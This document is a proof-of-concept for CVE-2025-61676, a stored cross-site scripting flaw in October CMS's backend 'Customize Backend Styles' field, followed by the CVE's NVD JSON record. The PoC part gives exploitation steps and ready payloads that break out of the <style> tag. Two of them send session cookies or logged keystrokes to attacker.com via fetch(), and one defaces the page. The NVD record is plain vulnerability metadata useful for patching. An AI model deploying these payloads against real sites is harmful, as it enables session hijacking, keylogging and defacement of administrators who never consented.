CVE-2025-61676

// CVE-2025-61676 PoC - October CMS Stored XSS in Backend Styles // Attacker requires 'Customize Backend Styles' permission // Step 1: Navigate to Branding & Appearance settings // Settings > Customize Backend Styles or Branding & Appearance // Step 2: Inject malicious code in Styles textarea // Payload to escape </style> tag and inject script: payload = '</style><script>alert(document.cookie)</script><style>' // Step 3: Save the settings // The malicious script will be stored and executed for all backend users // Alternative payloads: // 1. Session hijacking: alt_payload1 = '</style><img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)><style>' // 2. Keylogging: alt_payload2 = '</style><script>document.addEventListener("keypress",e=>fetch("https://attacker.com/log?k="+e.key))</script><style>' // 3. DOM manipulation: alt_payload3 = '</style><script>document.body.innerHTML="<h1>Pwned</h1>"</script><style>'

{"cve": {"id": "CVE-2025-61676", "sourceIdentifier": "[email protected]", "published": "2026-01-10T04:16:00.850", "lastModified": "2026-01-20T16:05:36.343", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "October is a Content Management System (CMS) and web platform. Prior to versions 3.7.13 and 4.0.12, a cross-site scripting (XSS) vulnerabilities was identified in October CMS backend configuration forms. A user with the Customize Backend Styles permission could inject malicious HTML/JS into the stylesheet input at Styles from Branding & Appearance settings. A specially crafted input could break out of the intended <style> context, allowing arbitrary script execution across backend pages for all users. This issue has been patched in versions 3.7.13 and 4.0.12."}, {"lang": "es", "value": "October es un Sistema de Gestión de Contenidos (CMS) y una plataforma web. Antes de las versiones 3.7.13 y 4.0.12, se identificó una vulnerabilidad de cross-site scripting (XSS) en los formularios de configuración del backend de October CMS. Un usuario con el permiso Customize Backend Styles podría inyectar HTML/JS malicioso en la entrada de la hoja de estilos en Styles desde la configuración de Branding &amp; Appearance. Una entrada especialmente diseñada podría salirse del contexto "}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:octobercms:october:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.7.13", "matchCriteriaId": "BD599F53-B664-4667-9A0A-D745EF8D777B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:octobercms:october:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.0.12", "matchCriteriaId": "104452D7-01C7-44AA-87CE-9CD57072717F"}]}]}], "references": [{"url": "https://github.com/octobercms/october/security/advisories/GHSA-wvpq-h33f-8rp6", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}